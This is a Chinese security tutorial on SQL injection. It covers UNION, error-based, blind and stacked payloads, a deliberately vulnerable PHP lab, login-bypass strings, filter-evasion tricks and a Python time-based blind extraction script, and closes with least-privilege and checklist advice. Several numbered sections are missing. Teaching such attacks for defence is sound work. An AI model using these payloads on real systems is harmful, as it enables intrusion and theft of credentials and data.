☰
SQL注入全解析:原理、实战复现与防御方案
2026/10/15 17:55:53 网站建设 项目流程

一个登录框,一个单引号,后台就没了。这是我早年做授权渗透测试时印象最深的一次经历。对方是个老系统,登录接口直接拼接SQL,我在用户名框里敲了个',页面就甩出了数据库报错。当时整个人是愣住的,不是因为惊讶,是因为没想到现在还能遇到这么“教科书级”的漏洞。后来我把这个案例写进了复盘报告,也成了团队带新人时必讲的第一课。

SQL注入在OWASP Top 10里常年霸榜,本质上是“把用户输入当成代码执行”的典型。不管你是做开发的、搞安全的,还是刚入行想挖漏洞赚赏金的,这玩意儿都必须吃透。这篇文章是SQL注入系列的第一期,我会从原理讲起,把常见注入类型逐个拆开,再用本地靶场完整复现一遍攻击流程,最后把防御方案和排查技巧一并给到。文字尽量直白,能直接上手。

1. 先搞明白:SQL注入到底是怎么发生的

1.1 从一行“拼接SQL”开始

SQL注入的产生条件,一句话就能说清——程序把用户输入直接拼进了SQL语句,并且当作SQL代码来执行。

看一段典型的PHP代码就能秒懂:

<?php $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = " . $id; $result = mysqli_query($conn, $sql); ?>

开发者本意是让用户传入id=1查询某个用户,所以正常SQL是:

SELECT * FROM users WHERE id = 1

但如果用户传入的是1 OR 1=1,拼接后的SQL就变成了:

SELECT * FROM users WHERE id = 1 OR 1=1

因为1=1恒为真,所以查询会把整张表的数据全部返回。这还只是最简单的例子。如果输入的是1 UNION SELECT username, password FROM users,那就能直接拖库;如果输入的是1; DROP TABLE users这类堆叠语句,后果更严重。

你把这个过程理解成“门禁卡系统”:门禁本来应该把卡片上的信息当作编号去查授权表,结果系统却把你写在卡片上的“值班指令”直接念出来了。那这张卡就不再是一张卡,而是一把万能钥匙。

1.2 为什么数据库会乖乖执行“非法指令”

很多人第一次接触SQL注入都会问一个问题:数据库怎么分得清哪些是程序写的、哪些是用户输的?它分不清。数据库执行的只有一条最终拼接好的SQL字符串,它不知道哪个部分是“原计划”,哪个部分是“混进来的”。

问题的根源在于数据与代码没有分离。开发者的原意是把用户的输入当作“数据”处理,但因为字符串拼接这种粗糙的方式,用户的输入拥有了“代码”的身份。数据库拿到的是已经混合好的SQL文本,只能照单全收。

再从请求链路看一遍,你就清楚漏洞出在哪一层了:

  1. 用户在浏览器输入参数,发出HTTP请求
  2. 服务端脚本(PHP、Java、Python等)接收参数
  3. 脚本直接字符串拼接,生成SQL语句
  4. 数据库执行SQL并返回结果
  5. 脚本把结果渲染到页面

在第二步到第三步之间,如果存在任何“输入被当成了代码”的情况,SQL注入就发生了。这也是为什么修复SQL注入的核心思路一直围绕“参数化查询”展开——本质上就是强制让数据库把用户输入当作纯数据,而不是SQL的一部分。

1.3 注入类型总览

SQL注入形态很多,但大类上可以这样分:

分类维度类型典型特征
按数据传递方式数字型 / 字符型 / 搜索型是否需要闭合引号、是否带百分号
按页面反馈回显注入 / 报错注入 / 盲注结果是否直接显示、报错信息是否可见、页面有无状态差异
按语句执行方式联合注入 / 堆叠注入 / 布尔盲注 / 时间盲注能否拼UNION、能否执行多条语句
按注入位置GET注入 / POST注入 / Cookie注入 / 请求头注入参数出现在哪里

这篇文章重点讲联合注入、报错注入、布尔盲注、时间盲注、堆叠注入这几种,它们在实战中出现频率最高。了解了它们,后面遇到花式变种,思路都是相通的。

2. 注入类型逐个拆:从最简单到最隐蔽

2.1 数字型与字符型:先分清注入点的“脾气”

拿到一个注入点,第一件事不是急着爆数据,而是先搞清楚它是数字型还是字符型。

数字型注入的特征是参数不带引号,直接拼在SQL里。比如:

SELECT * FROM news WHERE id = 1

测试方法是输入1 AND 1=1和1 AND 1=2:

SELECT * FROM news WHERE id = 1 AND 1=1 -- 正常返回 SELECT * FROM news WHERE id = 1 AND 1=2 -- 返回空或报错

两次结果有差异,说明参数确实被当成了数字去参与运算,这就是数字型注入。

字符型注入的特征是参数被引号包裹:

SELECT * FROM users WHERE name = 'admin'

测试方法和数字型略有不同,核心是闭合引号:

SELECT * FROM users WHERE name = 'admin' AND '1'='1' SELECT * FROM users WHERE name = 'admin' AND '1'='2'

第一次查询如果正常返回,第二次返回空,说明你输入的单引号成功把SQL的引号“闭合”了,后面的内容已经不受原SQL结构约束。

我见过很多新手栽在字符型判断上:在参数后面直接加AND 1=1发现没反应,就断定没注入。其实不是没注入,是你没闭合引号,导致SQL语法本身就错了。记住一句话:字符型注入先闭合,再构造条件。闭合方式通常是单引号',有时候要结合注释符#或--把后面的SQL尾巴注释掉。

2.2 联合注入:信息收集三板斧

联合注入(UNION Injection)是效率最高、页面反馈最直接的注入方式。核心思路是利用UNION关键字把原查询和自定义查询合并,让后者的结果直接显示在页面上。

先看绕过步骤:

第一步:判断字段数

用ORDER BY探测原查询有几个字段:

SELECT * FROM news WHERE id = 1 ORDER BY 3 -- 正常返回说明至少有3个字段 SELECT * FROM news WHERE id = 1 ORDER BY 4 -- 报错说明字段数是3

字段数不对,UNION拼接就会报错。这里注意,ORDER BY是拿字段序号去探测,探测成功就说明字段数量 ≥ 该数字。

第二步:确定显示位

拿到字段数后,用UNION SELECT 1,2,3确定页面上哪些位置会回显数据:

SELECT * FROM news WHERE id = 1 AND 1=2 UNION SELECT 1,2,3

把id条件改成不成立,是为了让原查询返回空,这样页面只显示UNION的结果,方便观察回显位置。如果页面出现了1、2、3,说明这些位置都能把查询结果展示出来。

第三步:拖数据

假设第2、3位有回显,就可以直接拿数据库信息:

SELECT * FROM news WHERE id = 1 AND 1=2 UNION SELECT 1,database(),version()

database()返回当前数据库名,version()返回数据库版本。知道库名后,接着查表名:

UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()

查字段名:

UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'

最后拖数据:

UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users

这里0x3a是冒号的十六进制表示,用来分隔多个字段的取值,方便阅读。

联合注入的核心约束就两条:UNION前后的字段数必须一致,对应位置能显示数据。只要你把这两个前提搞清楚了,整个流程就像流水线一样顺畅。

2.3 报错注入:不显数据也能拿结果

有些页面做了防护,不直接回显查询结果,但会把数据库报错信息打印在页面上。这种场景下,报错注入就派上用场了。

报错注入的原理是利用数据库函数在报错时把参数内容带出来。MySQL常用的两个函数是updatexml和extractvalue。

extractvalue的用法:

SELECT * FROM users WHERE id = 1 AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))

extractvalue(1, '字符串')第二个参数要求是合法的XPATH路径,如果传入不合法路径,MySQL会报错并把路径内容显示出来。concat(0x7e, (SELECT database()), 0x7e)是把查询结果和波浪号拼接成一个“不合法路径”,触发报错的同时把数据带出来。0x7e是波浪号~,这样报错信息里就能清楚地看到数据起点和终点。

updatexml的用法类似:

SELECT * FROM users WHERE id = 1 AND updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1)

报错注入在实战中非常实用,因为很多系统虽然做了参数化查询(对UNION这类语句免疫),但错误处理做得粗糙,直接把数据库报错抛给了前端。这种情况下,报错注入往往能找到突破口。

不过要注意:报错注入一次只能回显一小段数据,想拿长字段值必须配合substr逐段截取:

AND extractvalue(1, concat(0x7e, substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 1, 20)))

每次截取20个字符,多跑几次就能拿完整。

2.4 盲注:页面不报错时怎么猜数据

盲注是“看不见”的注入。页面不显示数据、不报错,只有“正常”和“异常”两个状态,信息全靠一点一点猜出来。盲注分两种:布尔盲注和时间盲注。

布尔盲注利用页面返回内容的差异判断条件真假:

SELECT * FROM users WHERE id = 1 AND ascii(substr(database(), 1, 1)) > 100

substr(database(), 1, 1)取当前数据库名的第一个字符,ascii()把它转成ASCII码,然后和100比较。如果页面正常返回,说明条件为真,数据库名的第一个字符的ASCII码大于100;如果页面异常,说明条件为假。逐个字符比较下去,就能把整个数据库名拼出来。

时间盲注用于页面返回完全一致的情况,利用延时函数判断:

SELECT * FROM users WHERE id = 1 AND if(ascii(substr(database(), 1, 1)) > 100, sleep(3), 0)

如果页面加载了3秒左右才返回,说明条件为真;如果立即返回,说明条件为假。

盲注的效率比联合注入低得多,纯手工猜一个表名可能要发几十次请求。所以实战中盲注基本都配合脚本工具,或者直接用sqlmap跑。手写脚本的姿势我下面会专门讲。

2.5 堆叠注入:一条语句干两件事

堆叠注入(Stacked Injection)用分号分隔多条SQL语句,让一次请求执行多个操作:

SELECT * FROM users WHERE id = 1; DROP TABLE test; --

如果目标支持堆叠查询,输入可以变成多条独立语句,危害比普通注入大得多。但堆叠注入在实际场景中并不多见,因为很多数据库驱动和中间件默认不允许在一条语句中执行多条SQL。我在实际测试中遇到的大多数目标,堆叠注入都不成立。

判断是否支持堆叠注入的方法很简单:在注入点后面加一条不会报错的独立语句,比如; SELECT 1,如果页面没有语法错误,大概率是支持堆叠的。但要小心,有些系统会吞掉分号后面的内容,这并不代表支持堆叠,需要结合报错与否综合判断。

3. 实战复现:本地靶场从零打一遍

3.1 搭建最简靶场:PHP + MySQL 手写一个

找一个公开靶场练手当然可以,但自己动手写一个更小的靶场,好处是你对每一行代码、每一个参数都了如指掌,排查问题也方便。

准备环境:PHP 7.x + MySQL 5.7 或 8.x,用phpStudy或者Docker都行。我习惯用Docker快速起一个:

docker run --name sqli-lab \ -e MYSQL_ROOT_PASSWORD=root \ -e MYSQL_DATABASE=test \ -d mysql:5.7

然后写一个极简的PHP入口文件index.php:

<?php $conn = mysqli_connect("127.0.0.1", "root", "root", "test"); mysqli_set_charset($conn, "utf8"); $id = $_GET['id']; $sql = "SELECT id, title, content FROM news WHERE id = " . $id; $result = mysqli_query($conn, $sql); echo "执行的SQL: " . $sql . "<br><br>"; while ($row = mysqli_fetch_assoc($result)) { echo "ID: " . $row['id'] . "<br>"; echo "标题: " . $row['title'] . "<br>"; echo "内容: " . $row['content'] . "<br><hr>"; } ?>

建一张新闻表并插入数据:

USE test; CREATE TABLE news ( id INT PRIMARY KEY, title VARCHAR(100), content TEXT ); INSERT INTO news VALUES (1, '新闻一', '这是第一条新闻的内容'); INSERT INTO news VALUES (2, '新闻二', '这是第二条新闻的内容'); CREATE TABLE users ( id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50) ); INSERT INTO users VALUES (1, 'admin', 'admin888'); INSERT INTO users VALUES (2, 'test', 'test123');

这段代码故意用字符串拼接的方式处理参数,是标准的漏洞写法。浏览器访问index.php?id=1能看到正常数据,接着就可以开测了。

3.2 判断注入点:单引号、and 1=1、and 1=2

判断注入点有一套固定的试探流程,我从实际操作角度一步步说。

第一步:加单引号

访问index.php?id=1',如果页面报SQL语法错误,说明参数被拼进了SQL语句且没有经过任何过滤。这是最直接的信号。如果不报错,也要继续试探,因为有些系统会把错误吞掉,改成统一的错误页。

第二步:逻辑判断

访问index.php?id=1 AND 1=1,页面正常显示;再访问index.php?id=1 AND 1=2,页面无数据。两句话一对比,基本可以确定是数字型注入。

如果是字符型注入,比如代码写成了WHERE name = '$name',测试方式就换成:

?name=admin' AND '1'='1 ?name=admin' AND '1'='2

这里单引号把SQL里的引号闭合掉,后面的内容就是我们可以控制的逻辑了。

第三步:确认字段数

用ORDER BY探测:

?index.php?id=1 ORDER BY 3 ?index.php?id=1 ORDER BY 4

第一个正常、第二个报错,说明原查询是3个字段。

整个过程我用一张表整理一下:

测试请求预期反馈说明
?id=1正常显示基线数据
?id=1'报语法错误参数进入SQL,未过滤
?id=1 AND 1=1正常显示条件为真
?id=1 AND 1=2无数据条件为假,说明注入成立
?id=1 ORDER BY 3正常显示字段数≥3
?id=1 ORDER BY 4报错字段数为3

这套流程跑下来,你对这个注入点的类型、位置、字段数量心里就有数了。

3.3 联合注入完整流程:从数据库名到账号密码

下面以联合注入为例,完整复现一次从库名到账号密码的拖库过程。

获取数据库名和版本号

访问:

?index.php?id=1 AND 1=2 UNION SELECT 1,database(),version()

页面第一行是执行的SQL语句,后面如果显示出了test和5.7.x,说明第2、3个位置有回显,数据库叫test。

获取所有表名

?index.php?id=1 AND 1=2 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()

group_concat会把所有表名用逗号拼接成一行,方便查看。页面上应该能看到news,users。

获取users表的字段名

?index.php?id=1 AND 1=2 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'

正常会看到id,username,password。这里用table_name='users'做条件时注意单引号,在URL里不需要额外编码,直接传就行。

拖数据

?index.php?id=1 AND 1=2 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users

0x3a是冒号,页面会显示类似admin:admin888,test:test123的结果。

这一套流程走完,数据库的基本信息已经全部暴露了。整个过程只用了几十个请求,全部手动完成。

3.4 万能密码绕过的原理演示

万能密码是SQL注入在登录场景下的经典应用。假设登录代码是这样写的:

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

在用户名框输入admin'#,密码随便填,拼出来的SQL变成了:

SELECT * FROM users WHERE username = 'admin'#' AND password = '任意内容'

#在MySQL中是注释符,会把后面所有的内容注释掉,所以实际执行的语句是:

SELECT * FROM users WHERE username = 'admin'

这样不需要知道密码,只要用户名正确就能登录。更狠的可以输入' OR 1=1#:

SELECT * FROM users WHERE username = '' OR 1=1#'

1=1恒为真,加上注释符把后面的密码判断去掉,整个表的第一条记录就成了你的登录身份。如果users表第一条是管理员账号,那你就是管理员。

万能密码之所以“万能”,核心就是两个动作:闭合前引号+注释掉后引号及后续条件。注释符在MySQL里#和--都能用,但后者后面必须跟一个空格,在URL中要写成--+或--%20。#在URL中要编码成%23,否则浏览器会把#当成页面锚点直接截断。

下面几个都是登录框常见的绕过payload:

用户名输入拼接后的效果
admin'#变成查询admin用户,不需要密码
' OR 1=1#恒真条件,返回第一行用户
' OR '1'='1'不依赖注释符,利用条件闭合
admin' --用--注释掉密码条件

页面报错权限被拒绝、返回500或者直接空白,有时候是好事——说明参数确实进了SQL,只是还没找到合适的闭合方式。真正的死路是无论怎么输,页面表现都一模一样,那才需要考虑其他类型的漏洞。

4.2 注释符、空格、引号被过滤怎么办

现实中很少有系统完全不设防。常见的过滤手段是拦关键字,比如union、select、空格、单引号等。遇到这种情况,不是直接放弃,而是先看过滤规则到底拦了什么。

空格被过滤

用/**/或者括号代替空格:

?id=1/**/UNION/**/SELECT/**/1,database(),3

MySQL里/* */是注释,但放在SQL关键字中间时不会截断语句,可以起到和空格一样的分隔作用。另外,%09(水平制表符)、%0a(换行)在MySQL里也能充当空白分隔符。

关键字被过滤

大小写混写绕过:

?id=1 AND 1=2 UnIoN SeLeCt 1,database(),3

MySQL的关键字不区分大小写,如果过滤规则只拦了全小写的union,构造函数式UnIoN就能绕过。但现在的WAF基本都会做大小写归一化,这招只对老系统有效。

注释符被过滤

有时候#和--都被拦截。这种场景下改用“闭合条件”的方式,不用注释符也能收尾。以字符型注入为例:

?name=admin' AND '1'='1' AND '1'='1

这个玩法的思路是:前面构造的'1'='1充当了截止条件,后续原来的SQL引号被我预先闭合,整个语句语法仍然成立。

单引号被过滤

如果你发现参数中的'被转义成了\",也就是后端用了 addslashes 或 magic_quotes 这类转义函数,那说明开发者是有基本防护意识的。这时可以观察是否存在宽字节注入的可能,比如%df%27配合GBK编码,让转义符被“吃”掉。但这个方案依赖数据库字符集,在目前的UTF-8环境下基本失效,知道原理即可,不推荐花太多精力去试。

4.3 盲注脚本提速技巧

手测盲注逐个字符猜太慢了,我的经验是:先用二分法逐字符爆破,再用“多线程批量请求”提速。下面是一个用Python写的时间盲注脚本示例,逻辑很清晰:

import requests import time url = "http://127.0.0.1/index.php" chars = "abcdefghijklmnopqrstuvwxyz0123456789_@.-" def get_database_length(): for i in range(1, 20): payload = "1 AND if(length(database())={}, sleep(2), 0)".format(i) start = time.time() requests.get(url + "?id=" + payload) cost = time.time() - start if cost > 1.5: return i return 0 def get_char(pos): left, right = 32, 126 while left < right: mid = (left + right) // 2 payload = "1 AND if(ascii(substr(database(),{},1))>{}, sleep(1), 0)".format(pos, mid) start = time.time() requests.get(url + "?id=" + payload) cost = time.time() - start if cost > 0.8: left = mid + 1 else: right = mid return chr(left) length = get_database_length() print("数据库长度:", length) name = "" for pos in range(1, length + 1): name += get_char(pos) print("当前进度:", name)

脚本的核心逻辑是用sleep(1)作为“真”的标记,用二分法逐步缩小字符的ASCII范围。实际测试中,这类脚本比逐个字符顺序猜测要快得多。把sleep时间调短、加上协程或线程,速度还能翻倍。

写这类脚本时注意两点:一是目标响应时长不稳定时,把判断阈值放宽,比如cost > 0.8而不是cost > 1,防止误判;二是请求频率别太猛,本地靶场无所谓,但如果是在授权测试的线上环境,高频请求很容易触发封禁。

4.4 常见问题速查表

现象可能原因处理思路
加单引号无反应参数被过滤、类型不匹配、没闭合成功尝试双引号、尝试URL编码、观察是否整站无区别
AND 1=1正常但AND 1=2也正常参数没有进入SQL逻辑确认是否字符型,尝试闭合引号后再测
ORDER BY一直不报错WAF截断或后端吞错尝试注释符闭合、换布尔差异判断
UNION SELECT显示不了数据字段数不对或显示位不在预期位置先用ORDER BY确认字段数,再逐个位置试
字符型注入构造起来很难引号、反斜杠被转义观察转义规则,尝试编码绕过,或换其他注入点
时间盲注不稳定网络波动、sleep时间太短、数据库版本差异把sleep调到2-3秒,加重复请求确认
万能密码登录失败注释符被过滤、SQL语句不是单引号包裹换闭合语法,或改用admin' --等服务端兼容的写法

5.3 数据库最小权限原则

很多注入漏洞之所以危害巨大,是因为应用连接的数据库账号权限太高。我看到不少系统,应用连接数据库用的是root账号,一旦被注入,拖库、删除表、写文件全都能做,破坏力瞬间拉满。

正确做法是:每个应用单独建一个数据库账号,只授予该业务必需的权限。比如一个新闻展示系统,只需要SELECT权限;有内容发布的,再加INSERT、UPDATE;实在需要删除功能的,单独用一个管理接口连接高权限账号。这样即使SQL注入被攻破,攻击者能做的也极其有限。

-- 为news系统单独创建账号,仅授予test库的查询权限 CREATE USER 'news_app'@'localhost' IDENTIFIED BY 'StrongPass_2024#'; GRANT SELECT ON test.news TO 'news_app'@'localhost';

连接数据库时用news_app而不是root,业务能跑,风险却大幅降低。就算注入成功,SELECT权限只能读当前表,别说information_schema,其他库都摸不着。

5.4 上线前自检清单

最后分享一份我自己总结的SQL注入自检清单,每次发版前对照检查:

  • [ ] 所有SQL是否都使用了参数化查询或预编译?
  • [ ] 动态表名、动态列名是否做了白名单校验?
  • [ ] 数据库连接账号是否遵循最小权限原则?
  • [ ] 错误信息是否会被回显到前端?
  • [ ] 登录、搜索、排序等所有交互参数是否都覆盖了安全测试?
  • [ ] 注入测试payload是否在测试环境完整跑过一遍?
  • [ ] 日志中是否记录了SQL执行错误,方便事后排查?

这份清单不复杂,但能覆盖大部分SQL注入风险。我见过太多系统,开发时安全意识满满,上线前赶进度,临时改了几处SQL拼接,结果漏洞就藏在最后那几天改动的代码里。

6. 写在最后:一些实在话

SQL注入这个漏洞,我在授权测试项目中遇到过无数次,从老旧的ASP系统到新开发的Go服务,都有它的影子。它之所以“经典”,是因为它折射出的问题——数据和代码不分、输入不可信、权限过大、错误处理粗糙——在任何时代的开发里都可能出现。

这篇文章把原理、类型和实战流程都过了一遍,文中所有攻击手法都是在本地靶场完成的,请务必只在授权环境中测试。了解攻击是为了更好地防守,这个边界不能模糊。

第一期就先到这里。下一期我打算聊聊SQL注入的自动化绕过思路,包括WAF常见绕过姿势和sqlmap的进阶用法。有什么想看的细节,或者你在复现过程中卡在了哪一步,可以在评论区留言,我看到会尽量回复。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询